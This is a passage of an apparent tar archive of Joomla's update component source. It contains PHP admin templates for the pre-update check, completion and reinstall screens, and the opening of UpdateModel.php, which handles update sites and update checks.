LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\CMS\Uri\Uri; use Joomla\CMS\Version; use Joomla\Component\Joomlaupdate\Administrator\View\Joomlaupdate\HtmlView; /** @var HtmlView $this */ /** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = $this->document->getWebAssetManager(); $wa->useScript('core') ->useScript('com_joomlaupdate.default') ->useScript('bootstrap.popover') ->useScript('bootstrap.tab'); // Text::script doesn't have a sprintf equivalent so work around this $this->document->addScriptOptions('nonCoreCriticalPlugins', $this->nonCoreCriticalPlugins); // Push Joomla! Update client-side error messages Text::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_POTENTIALLY_DANGEROUS_PLUGIN_CONFIRM_MESSAGE'); Text::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSION_NO_COMPATIBILITY_INFORMATION'); Text::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSION_WARNING_UNKNOWN'); Text::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSION_SERVER_ERROR'); Text::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_SHOW_MORE_COMPATIBILITY_INFORMATION'); Text::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_SHOW_LESS_COMPATIBILITY_INFORMATION'); Text::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_POTENTIALLY_DANGEROUS_PLUGIN'); Text::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_POTENTIALLY_DANGEROUS_PLUGIN_DESC'); Text::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_POTENTIALLY_DANGEROUS_PLUGIN_LIST'); Text::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_POTENTIALLY_DANGEROUS_PLUGIN_CONFIRM_MESSAGE'); Text::script('COM_JOOMLAUPDATE_VIEW_DEFAULT_HELP'); // Push Joomla! core Joomla.Request error messages Text::script('JLIB_JS_AJAX_ERROR_CONNECTION_ABORT'); Text::script('JLIB_JS_AJAX_ERROR_NO_CONTENT'); Text::script('JLIB_JS_AJAX_ERROR_OTHER'); Text::script('JLIB_JS_AJAX_ERROR_PARSE'); Text::script('JLIB_JS_AJAX_ERROR_TIMEOUT'); $compatibilityTypes = [ 'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_RUNNING_PRE_UPDATE_CHECKS' => [ 'class' => 'info', 'icon' => 'hourglass fa-spin', 'notes' => 'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_RUNNING_PRE_UPDATE_CHECKS_NOTES', 'group' => 0, ], 'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_REQUIRING_UPDATES_TO_BE_COMPATIBLE' => [ 'class' => 'danger', 'icon' => 'times', 'notes' => 'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_REQUIRING_UPDATES_TO_BE_COMPATIBLE_NOTES', 'group' => 2, ], 'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_PRE_UPDATE_CHECKS_FAILED' => [ 'class' => 'warning', 'icon' => 'exclamation-triangle', 'notes' => 'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_PRE_UPDATE_CHECKS_FAILED_NOTES', 'group' => 4, ], 'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_UPDATE_SERVER_OFFERS_NO_COMPATIBLE_VERSION' => [ 'class' => 'warning', 'icon' => 'exclamation-triangle', 'notes' => 'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_UPDATE_SERVER_OFFERS_NO_COMPATIBLE_VERSION_NOTES', 'group' => 1, ], 'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_PROBABLY_COMPATIBLE' => [ 'class' => 'success', 'icon' => 'check', 'notes' => 'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_PROBABLY_COMPATIBLE_NOTES', 'group' => 3, ], ]; $latestJoomlaVersion = $this->updateInfo['latest']; $currentJoomlaVersion = isset($this->updateInfo['installed']) ? $this->updateInfo['installed'] : JVERSION; $updatePossible = true; if (version_compare($this->updateInfo['latest'], Version::MAJOR_VERSION + 1, '>=') && $this->isDefaultBackendTemplate === false) { Factory::getApplication()->enqueueMessage( Text::sprintf( 'COM_JOOMLAUPDATE_VIEW_DEFAULT_NON_CORE_BACKEND_TEMPLATE_USED_NOTICE', ucfirst($this->defaultBackendTemplate) ), 'info' ); } ?> <div id="joomlaupdate-wrapper" class="main-card p-3 mt-3" data-joomla-target-version="<?php echo $latestJoomlaVersion; ?>" data-joomla-current-version="<?php echo $currentJoomlaVersion; ?>"> <h2 class="my-3"> <?php echo Text::sprintf('COM_JOOMLAUPDATE_VIEW_DEFAULT_PREUPDATE_CHECK', '‎' . $this->updateInfo['latest']); ?> </h2> <p> <?php echo Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXPLANATION_AND_LINK_TO_DOCS'); ?> </p> <div class="d-flex flex-wrap flex-lg-nowrap align-items-start my-4" id="preupdatecheck"> <div class="nav flex-column text-nowrap nav-pills me-3 mb-4" role="tablist" aria-orientation="vertical"> <button class="nav-link d-flex justify-content-between align-items-center active" id="joomlaupdate-precheck-required-tab" data-bs-toggle="pill" data-bs-target="#joomlaupdate-precheck-required-content" type="button" role="tab" aria-controls="joomlaupdate-precheck-required-content" aria-selected="true"> <?php echo Text::_('COM_JOOMLAUPDATE_PREUPDATE_REQUIRED_SETTINGS'); ?> <?php $labelClass = 'success'; ?> <?php foreach ($this->phpOptions as $option) : ?> <?php if (!$option->state) : ?> <?php $labelClass = 'danger'; ?> <?php $updatePossible = false; ?> <?php break; ?> <?php endif; ?> <?php endforeach; ?> <span class="fa fa-<?php echo $labelClass == 'danger' ? 'times' : 'check'; ?> fa-fw py-1 bg-white text-<?php echo $labelClass; ?>" aria-hidden="true"></span> </button> <button class="nav-link d-flex justify-content-between align-items-center" id="joomlaupdate-precheck-recommended-tab" data-bs-toggle="pill" data-bs-target="#joomlaupdate-precheck-recommended-content" type="button" role="tab" aria-controls="joomlaupdate-precheck-recommended-content" aria-selected="false"> <?php echo Text::_('COM_JOOMLAUPDATE_PREUPDATE_RECOMMENDED_SETTINGS'); ?> <?php $labelClass = 'success'; ?> <?php foreach ($this->phpSettings as $setting) : ?> <?php if ($setting->state !== $setting->recommended) : ?> <?php $labelClass = 'warning'; ?> <?php break; ?> <?php endif; ?> <?php endforeach; ?> <span class="fa fa-<?php echo $labelClass == 'warning' ? 'exclamation-triangle' : 'check'; ?> fa-fw py-1 bg-white text-<?php echo $labelClass; ?>" aria-hidden="true"></span> </button> <button class="nav-link d-flex justify-content-between align-items-center" id="joomlaupdate-precheck-extensions-tab" data-bs-toggle="pill" data-bs-target="#joomlaupdate-precheck-extensions-content" type="button" role="tab" aria-controls="joomlaupdate-precheck-extensions-content" aria-selected="false"> <?php echo Text::_('COM_JOOMLAUPDATE_PREUPDATE_EXTENSIONS'); ?> <?php $labelClass = 'success'; ?> <span class="fa fa-spinner fa-spin fa-fw py-1" aria-hidden="true"></span> </button> </div> <div class="tab-content w-100"> <div class="tab-pane fade show active" id="joomlaupdate-precheck-required-content" role="tabpanel" aria-labelledby="joomlaupdate-precheck-required-tab"> <h3> <?php echo Text::_('COM_JOOMLAUPDATE_PREUPDATE_REQUIRED_SETTINGS'); ?> </h3> <div class="table-responsive"> <table class="table table-striped" id="preupdatecheck"> <caption class="visually-hidden"> <?php echo Text::_('COM_JOOMLAUPDATE_PREUPDATE_CHECK_CAPTION'); ?> </caption> <thead> <tr> <th scope="col"> <?php echo Text::_('COM_JOOMLAUPDATE_PREUPDATE_HEADING_REQUIREMENT'); ?> </th> <th scope="col"> <?php echo Text::_('COM_JOOMLAUPDATE_PREUPDATE_HEADING_CHECKED'); ?> </th> </tr> </thead> <tbody> <?php foreach ($this->phpOptions as $option) : ?> <tr> <th scope="row"> <?php echo $option->label; ?> <?php if ($option->notice) : ?> <div class="small"> <?php echo $option->notice; ?> </div> <?php endif; ?> </th> <td> <span class="badge bg-<?php echo $option->state ? 'success' : 'danger'; ?>"> <?php echo Text::_($option->state ? 'JYES' : 'JNO'); ?> </span> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </div> <div class="tab-pane fade show" id="joomlaupdate-precheck-recommended-content" role="tabpanel" aria-labelledby="joomlaupdate-precheck-recommended-tab"> <h3> <?php echo Text::_('COM_JOOMLAUPDATE_PREUPDATE_RECOMMENDED_SETTINGS'); ?> </h3> <div class="table-responsive"> <table class="table table-striped" id="preupdatecheckphp"> <caption> <?php echo Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_RECOMMENDED_SETTINGS_DESC'); ?> </caption> <thead> <tr> <th scope="col"> <?php echo Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_DIRECTIVE'); ?> </th> <th scope="col"> <?php echo Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_RECOMMENDED'); ?> </th> <th scope="col"> <?php echo Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_ACTUAL'); ?> </th> </tr> </thead> <tbody> <?php foreach ($this->phpSettings as $setting) : ?> <tr> <th scope="row"> <?php echo $setting->label; ?> </th> <td> <?php echo Text::_($setting->recommended ? 'JON' : 'JOFF'); ?> </td> <td> <span class="badge bg-<?php echo ($setting->state === $setting->recommended) ? 'success' : 'warning'; ?>"> <?php echo Text::_($setting->state ? 'JON' : 'JOFF'); ?> </span> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </div> <div class="tab-pane fade show" id="joomlaupdate-precheck-extensions-content" role="tabpanel" aria-labelledby="joomlaupdate-precheck-extensions-tab"> <h3> <?php echo Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS'); ?> </h3> <div id="preupdateCheckWarning"> <div class="alert alert-warning"> <h4 class="alert-heading"> <?php echo Text::_('WARNING'); ?> </h4> <div class="alert-message"> <div class="preupdateCheckIncomplete"> <?php echo Text::_('COM_JOOMLAUPDATE_PREUPDATE_CHECK_NOT_COMPLETE'); ?> </div> </div> </div> </div> <div id="preupdateCheckCompleteProblems" class="hidden"> <div class="alert alert-warning"> <h4 class="alert-heading"> <?php echo Text::_('WARNING'); ?> </h4> <div class="alert-message"> <div class="preupdateCheckComplete"> <?php echo Text::_('COM_JOOMLAUPDATE_PREUPDATE_CHECK_COMPLETED_YOU_HAVE_DANGEROUS_PLUGINS'); ?> </div> </div> </div> </div> <?php if (!empty($this->nonCoreExtensions)) : ?> <div class="w-100"> <?php foreach ($compatibilityTypes as $compatibilityType => $data) : ?> <div class="<?php echo $data['group'] > 0 ? 'hidden' : ''; ?> compatibilityTable" id="compatibilityTable<?php echo (int) $data['group']; ?>"> <h4 class="text-<?php echo $data['class']; ?> align-items-center"> <span class="fa fa-<?php echo $data['icon']; ?> me-2"></span> <?php echo Text::_($compatibilityType); ?> <?php if ($data['group'] > 0) : ?> <button type="button" class="btn btn-primary btn-sm ms-3 compatibilitytoggle" data-state="closed"> <?php echo Text::_( 'COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_SHOW_MORE_COMPATIBILITY_INFORMATION' ); ?> </button> <?php endif; ?> </h4> <div class="table-responsive mb-5"> <table class="table table-striped"> <caption> <?php echo Text::_($data['notes']); ?> </caption> <thead class="row-fluid"> <tr> <th class="exname" scope="col"> <?php echo Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSION_NAME'); ?> </th> <th class="extype" scope="col"> <?php echo Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSION_TYPE'); ?> </th> <th class="instver hidden" scope="col"> <?php echo Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSION_INSTALLED_VERSION'); ?> </th> <th class="currcomp hidden" scope="col"> <?php echo Text::sprintf('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSION_COMPATIBLE_WITH_JOOMLA_VERSION', isset($this->updateInfo['installed']) ? $this->escape($this->updateInfo['installed']) : JVERSION); ?> </th> <th class="upcomp hidden" scope="col"> <?php echo Text::sprintf('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSION_COMPATIBLE_WITH_JOOMLA_VERSION', $this->escape($this->updateInfo['latest'])); ?> </th> </tr> </thead> <tbody class="row-fluid"> <?php // Only include this row once since the javascript moves the results into the right place ?> <?php if ($data['group'] == 0) : ?> <?php foreach ($this->nonCoreExtensions as $extension) : ?> <tr> <th class="exname" scope="row"> <?php echo $extension->name; ?> </th> <td class="extype"> <?php echo Text::_('COM_INSTALLER_TYPE_' . strtoupper($extension->type)); ?> </td> <td class="instver hidden"> <?php echo $extension->version; ?> </td> <td id="available-version-<?php echo $extension->extension_id; ?>" class="currcomp hidden"></td> <td id="preUpdateCheck_<?php echo $extension->extension_id; ?>" class="extension-check upcomp hidden" data-extension-id="<?php echo $extension->extension_id; ?>" data-extension-current-version="<?php echo $extension->version; ?>" > <img src="<?php echo Uri::root(true); ?>/media/system/images/ajax-loader.gif"> </td> </tr> <?php endforeach; ?> <?php endif; ?> </tbody> </table> </div> </div> <?php endforeach; ?> </div> <?php else : ?> <div class="alert alert-info"> <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span> <?php echo Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_EXTENSIONS_NONE'); ?> </div> <?php endif; ?> </div> </div> </div> <?php if ($updatePossible) : ?> <form action="<?php echo Route::_('index.php?option=com_joomlaupdate&layout=update'); ?>" method="post" class="d-flex flex-column mb-5"> <?php if (!$this->noVersionCheck) : ?> <div id="preupdatecheckbox"> <div class="form-check d-flex justify-content-center mb-3"> <input type="checkbox" class="form-check-input me-3" id="noncoreplugins" name="noncoreplugins" value="1" required /> <label class="form-check-label" for="noncoreplugins"> <?php echo Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_NON_CORE_PLUGIN_CONFIRMATION'); ?> </label> </div> </div> <?php endif; ?> <button class="btn btn-lg btn-warning <?php echo $this->noVersionCheck ? '' : 'disabled' ?> submitupdate mx-auto" type="submit" <?php echo $this->noVersionCheck ? '' : 'disabled' ?>> <?php echo Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_INSTALLUPDATE'); ?> </button> </form> <?php endif; ?> <form action="<?php echo Route::_('index.php?option=com_joomlaupdate&layout=update'); ?>" method="post" name="adminForm" id="adminForm"> <input type="hidden" name="task" value=""> <?php echo HTMLHelper::_('form.token'); ?> </form> <?php if (Factory::getUser()->authorise('core.admin')) : ?> <div class="text-center"> <a href="<?php echo Route::_('index.php?option=com_joomlaupdate&view=upload'); ?>" class="btn btn-sm btn-outline-secondary"> <?php echo Text::_('COM_JOOMLAUPDATE_EMPTYSTATE_APPEND'); ?> </a> </div> <?php endif; ?> </div> tmpl/joomlaupdate/default.xml 0000644 00000001206 15173035674 0012364 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <metadata> <layout title="COM_JOOMLAUPDATE_DEFAULT_VIEW_DEFAULT_TITLE"> <message> <![CDATA[COM_JOOMLAUPDATE_DEFAULT_VIEW_DEFAULT_DESC]]> </message> </layout> <fields name="params"> <fieldset name="basic" label="JOPTIONS"> <field name="ajax-badge" type="radio" label="COM_JOOMLAUPDATE_JOOMLAUPDATE_VIEW_DISPLAY_BADGE" layout="joomla.form.field.radio.switcher" default="" > <option value="">JHIDE</option> <option value="index.php?option=com_joomlaupdate&task=getMenuBadgeData&format=json">JSHOW</option> </field> </fieldset> </fields> </metadata> tmpl/joomlaupdate/complete.php 0000644 00000005063 15173035674 0012544 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\CMS\Uri\Uri; $hadErrors = $this->state->get('update_finished_with_error'); $errors = $this->state->get('update_errors'); $logFile = $this->state->get('log_file'); $installerMsg = $this->state->get('installer_message'); $forumLink = '<a href="https://forum.joomla.org/" target="_blank" rel="noopener noreferrer">https://forum.joomla.org/</a>'; ?> <div class="card"> <h2 class="card-header"><?php echo Text::_('COM_JOOMLAUPDATE_VIEW_COMPLETE_HEADING'); ?></h2> <div class="card-body"> <?php if (!$hadErrors) : ?> <div class="alert alert-success"> <span class="icon-check-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('NOTICE'); ?></span> <?php echo Text::sprintf('COM_JOOMLAUPDATE_VIEW_COMPLETE_MESSAGE', '‎' . JVERSION); ?> </div> <?php else : ?> <div class="alert alert-error"> <span class="icon-check-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('NOTICE'); ?></span> <?php echo Text::sprintf('COM_JOOMLAUPDATE_VIEW_COMPLETE_WITH_ERROR_MESSAGE', $logFile, $forumLink); ?> </div> <p> <a href="<?php echo Uri::base(true); ?>/" class="btn btn-primary"><?php echo Text::_('JGLOBAL_TPL_CPANEL_LINK_TEXT') ?></a> </p> <?php if ($errors) : ?> <h3><?php echo Text::_('COM_JOOMLAUPDATE_VIEW_COMPLETE_UPDATE_ERRORS'); ?></h3> <?php foreach ($errors as $error) : ?> <div class="alert alert-error"><?php echo $error; ?></div> <?php endforeach; ?> <?php endif; ?> <?php endif; ?> <?php if ($installerMsg) : ?> <div> <h3><?php echo Text::_('COM_JOOMLAUPDATE_VIEW_COMPLETE_INSTALLER_MESSAGE'); ?></h3> <div class="alert alert-warning"><?php echo $installerMsg ?></div> </div> <?php endif; ?> </div> </div> <form action="<?php echo Route::_('index.php?option=com_joomlaupdate'); ?>" method="post" id="adminForm"> <input type="hidden" name="task" value=""> <?php echo HTMLHelper::_('form.token'); ?> </form> tmpl/joomlaupdate/selfupdate.php 0000644 00000001332 15173035674 0013063 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Layout\LayoutHelper; $displayData = [ 'textPrefix' => 'COM_JOOMLAUPDATE_SELF', 'formURL' => 'index.php?option=com_joomlaupdate&view=joomlaupdate', 'helpURL' => 'https://docs.joomla.org/Special:MyLanguage/Updating_from_an_existing_version', 'icon' => 'icon-loop joomlaupdate', 'createURL' => 'index.php?option=com_installer&view=update' ]; echo LayoutHelper::render('joomla.content.emptystate', $displayData); tmpl/joomlaupdate/noupdate.php 0000644 00000005630 15173035674 0012553 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Layout\LayoutHelper; use Joomla\CMS\Session\Session; $uploadLink = 'index.php?option=com_joomlaupdate&view=upload'; $reasonNoDownload = ''; if (!empty($this->reasonNoDownload)) { $reasonNoDownload = Text::_($this->reasonNoDownload) . '<br>'; if (isset($this->detailsNoDownload->php)) { $reasonNoDownload .= Text::sprintf( 'COM_JOOMLAUPDATE_NODOWNLOAD_EMPTYSTATE_REASON_PHP', $this->detailsNoDownload->php->used, $this->detailsNoDownload->php->required ) . '<br>'; } if (isset($this->detailsNoDownload->db)) { $reasonNoDownload .= Text::sprintf( 'COM_JOOMLAUPDATE_NODOWNLOAD_EMPTYSTATE_REASON_DATABASE', Text::_('JLIB_DB_SERVER_TYPE_' . $this->detailsNoDownload->db->type), $this->detailsNoDownload->db->used, $this->detailsNoDownload->db->required ) . '<br>'; } $reasonNoDownload .= Text::_('COM_JOOMLAUPDATE_NODOWNLOAD_EMPTYSTATE_REASON_ACTION') . '<br>'; } $displayData = [ 'textPrefix' => 'COM_JOOMLAUPDATE' . $this->messagePrefix, 'content' => $reasonNoDownload . Text::sprintf($this->langKey, $this->updateSourceKey), 'formURL' => 'index.php?option=com_joomlaupdate&view=joomlaupdate', 'helpURL' => 'https://docs.joomla.org/Special:MyLanguage/Updating_from_an_existing_version', 'icon' => 'icon-loop joomlaupdate', 'createURL' => 'index.php?option=com_joomlaupdate&task=update.purge&' . Session::getFormToken() . '=1' ]; if (Factory::getApplication()->getIdentity()->authorise('core.admin', 'com_joomlaupdate')) { $displayData['formAppend'] = '<div class="text-center"><a href="' . $uploadLink . '" class="btn btn-sm btn-outline-secondary">' . Text::_($displayData['textPrefix'] . '_EMPTYSTATE_APPEND') . '</a></div>'; } if (isset($this->updateInfo['object']) && isset($this->updateInfo['object']->get('infourl')->_data)) : $displayData['content'] .= '<br>' . HTMLHelper::_( 'link', $this->updateInfo['object']->get('infourl')->_data, Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_INFOURL'), [ 'target' => '_blank', 'rel' => 'noopener noreferrer', 'title' => isset($this->updateInfo['object']->get('infourl')->title) ? Text::sprintf('JBROWSERTARGET_NEW_TITLE', $this->updateInfo['object']->get('infourl')->title) : '' ] ); endif; $content = LayoutHelper::render('joomla.content.emptystate', $displayData); // Inject Joomla! version echo str_replace('%1$s', '‎' . $this->updateInfo['latest'], $content); tmpl/joomlaupdate/reinstall.php 0000644 00000004157 15173035674 0012734 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Layout\LayoutHelper; /** @var \Joomla\Component\Joomlaupdate\Administrator\View\Joomlaupdate\HtmlView $this */ /** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = $this->document->getWebAssetManager(); $wa->useScript('core') ->useScript('com_joomlaupdate.default') ->useScript('bootstrap.popover'); $uploadLink = 'index.php?option=com_joomlaupdate&view=upload'; $displayData = [ 'textPrefix' => 'COM_JOOMLAUPDATE_REINSTALL', 'content' => Text::sprintf($this->langKey, $this->updateSourceKey), 'formURL' => 'index.php?option=com_joomlaupdate&view=joomlaupdate', 'helpURL' => 'https://docs.joomla.org/Special:MyLanguage/Updating_from_an_existing_version', 'icon' => 'icon-loop joomlaupdate', 'createURL' => '#' ]; if (isset($this->updateInfo['object']) && isset($this->updateInfo['object']->get('infourl')->_data)) : $displayData['content'] .= '<br>' . HTMLHelper::_( 'link', $this->updateInfo['object']->get('infourl')->_data, Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_INFOURL'), [ 'target' => '_blank', 'rel' => 'noopener noreferrer', 'title' => isset($this->updateInfo['object']->get('infourl')->title) ? Text::sprintf('JBROWSERTARGET_NEW_TITLE', $this->updateInfo['object']->get('infourl')->title) : '' ] ); endif; if (Factory::getApplication()->getIdentity()->authorise('core.admin', 'com_joomlaupdate')) : $displayData['formAppend'] = '<div class="text-center"><a href="' . $uploadLink . '" class="btn btn-sm btn-outline-secondary">' . Text::_('COM_JOOMLAUPDATE_EMPTYSTATE_APPEND') . '</a></div>'; endif; echo '<div id="joomlaupdate-wrapper">'; echo LayoutHelper::render('joomla.content.emptystate', $displayData); echo '</div>'; src/Model/UpdateModel.php 0000644 00000216137 15173035674 0011334 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Joomlaupdate\Administrator\Model; use Joomla\CMS\Authentication\Authentication; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Extension\ExtensionHelper; use Joomla\CMS\Factory; use Joomla\CMS\Filesystem\File as FileCMS; use Joomla\CMS\Filter\InputFilter; use Joomla\CMS\Http\Http; use Joomla\CMS\Http\HttpFactory; use Joomla\CMS\Installer\Installer; use Joomla\CMS\Language\Text; use Joomla\CMS\Log\Log; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\MVC\Model\BaseDatabaseModel; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Updater\Update; use Joomla\CMS\Updater\Updater; use Joomla\CMS\User\UserHelper; use Joomla\CMS\Version; use Joomla\Database\ParameterType; use Joomla\Filesystem\File; use Joomla\Registry\Registry; use Joomla\Utilities\ArrayHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Joomla! update overview Model * * @since 2.5.4 */ class UpdateModel extends BaseDatabaseModel { /** * @var array $updateInformation null * Holds the update information evaluated in getUpdateInformation. * * @since 3.10.0 */ private $updateInformation = null; /** * Constructor * * @param array $config An array of configuration options. * @param ?MVCFactoryInterface $factory The factory. * * @since 4.4.0 * @throws \Exception */ public function __construct($config = [], MVCFactoryInterface $factory = null) { parent::__construct($config, $factory); // Register a logger for update process $options = [ 'format' => '{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}', 'text_file' => 'joomla_update.php', ]; Log::addLogger($options, Log::ALL, ['Update', 'databasequery', 'jerror']); } /** * Detects if the Joomla! update site currently in use matches the one * configured in this component. If they don't match, it changes it. * * @return void * * @since 2.5.4 */ public function applyUpdateSite() { // Determine the intended update URL. $params = ComponentHelper::getParams('com_joomlaupdate'); switch ($params->get('updatesource', 'nochange')) { // "Minor & Patch Release for Current version AND Next Major Release". case 'next': $updateURL = 'https://update.joomla.org/core/sts/list_sts.xml'; break; // "Testing" case 'testing': $updateURL = 'https://update.joomla.org/core/test/list_test.xml'; break; // "Custom" // @todo: check if the customurl is valid and not just "not empty". case 'custom': if (trim($params->get('customurl', '')) != '') { $updateURL = trim($params->get('customurl', '')); } else { Factory::getApplication()->enqueueMessage(Text::_('COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_CUSTOM_ERROR'), 'error'); return; } break; /** * "Minor & Patch Release for Current version (recommended and default)". * The commented "case" below are for documenting where 'default' and legacy options falls * case 'default': * case 'lts': * case 'sts': (It's shown as "Default" because that option does not exist any more) * case 'nochange': */ default: $updateURL = 'https://update.joomla.org/core/list.xml'; } $id = ExtensionHelper::getExtensionRecord('joomla', 'file')->extension_id; $db = version_compare(JVERSION, '4.2.0', 'lt') ? $this->getDbo() : $this->getDatabase(); $query = $db->getQuery(true) ->select($db->quoteName('us') . '.*') ->from($db->quoteName('#__update_sites_extensions', 'map')) ->join( 'INNER', $db->quoteName('#__update_sites', 'us'), $db->quoteName('us.update_site_id') . ' = ' . $db->quoteName('map.update_site_id') ) ->where($db->quoteName('map.extension_id') . ' = :id') ->bind(':id', $id, ParameterType::INTEGER); $db->setQuery($query); $update_site = $db->loadObject(); if ($update_site->location != $updateURL) { // Modify the database record. $update_site->last_check_timestamp = 0; $update_site->location = $updateURL; $db->updateObject('#__update_sites', $update_site, 'update_site_id'); // Remove cached updates. $query->clear() ->delete($db->quoteName('#__updates')) ->where($db->quoteName('extension_id') . ' = :id') ->bind(':id', $id, ParameterType::INTEGER); $db->setQuery($query); $db->execute(); } } /** * Makes sure that the Joomla! update cache is up-to-date. * * @param boolean $force Force reload, ignoring the cache timeout. * * @return void * * @since 2.5.4 */ public function refreshUpdates($force = false) { if ($force) { $cache_timeout = 0; } else { $update_params = ComponentHelper::getParams('com_installer'); $cache_timeout = (int) $update_params->get('cachetimeout', 6); $cache_timeout = 3600 * $cache_timeout; } $updater = Updater::getInstance(); $minimumStability = Updater::STABILITY_STABLE; $comJoomlaupdateParams = ComponentHelper::getParams('com_joomlaupdate'); if (in_array($comJoomlaupdateParams->get('updatesource', 'nochange'), ['testing', 'custom'])) { $minimumStability = $comJoomlaupdateParams->get('minimum_stability', Updater::STABILITY_STABLE); } $reflection = new \ReflectionObject($updater); $reflectionMethod = $reflection->getMethod('findUpdates'); $methodParameters = $reflectionMethod->getParameters(); if (count($methodParameters) >= 4) { // Reinstall support is available in Updater $updater->findUpdates(ExtensionHelper::getExtensionRecord('joomla', 'file')->extension_id, $cache_timeout, $minimumStability, true); } else { $updater->findUpdates(ExtensionHelper::getExtensionRecord('joomla', 'file')->extension_id, $cache_timeout, $minimumStability); } } /** * Makes sure that the Joomla! Update Component Update is in the database and check if there is a new version. * * @return boolean True if there is an update else false * * @since 4.0.0 */ public function getCheckForSelfUpdate() { $db = version_compare(JVERSION, '4.2.0', 'lt') ? $this->getDbo() : $this->getDatabase(); $query = $db->getQuery(true) ->select($db->quoteName('extension_id')) ->from($db->quoteName('#__extensions')) ->where($db->quoteName('element') . ' = ' . $db->quote('com_joomlaupdate')); $db->setQuery($query); try { // Get the component extension ID $joomlaUpdateComponentId = $db->loadResult(); } catch (\RuntimeException $e) { // Something is wrong here! $joomlaUpdateComponentId = 0; Factory::getApplication()->enqueueMessage($e->getMessage(), 'error'); } // Try the update only if we have an extension id if ($joomlaUpdateComponentId != 0) { // Always force to check for an update! $cache_timeout = 0; $updater = Updater::getInstance(); $updater->findUpdates($joomlaUpdateComponentId, $cache_timeout, Updater::STABILITY_STABLE); // Fetch the update information from the database. $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__updates')) ->where($db->quoteName('extension_id') . ' = :id') ->bind(':id', $joomlaUpdateComponentId, ParameterType::INTEGER); $db->setQuery($query); try { $joomlaUpdateComponentObject = $db->loadObject(); } 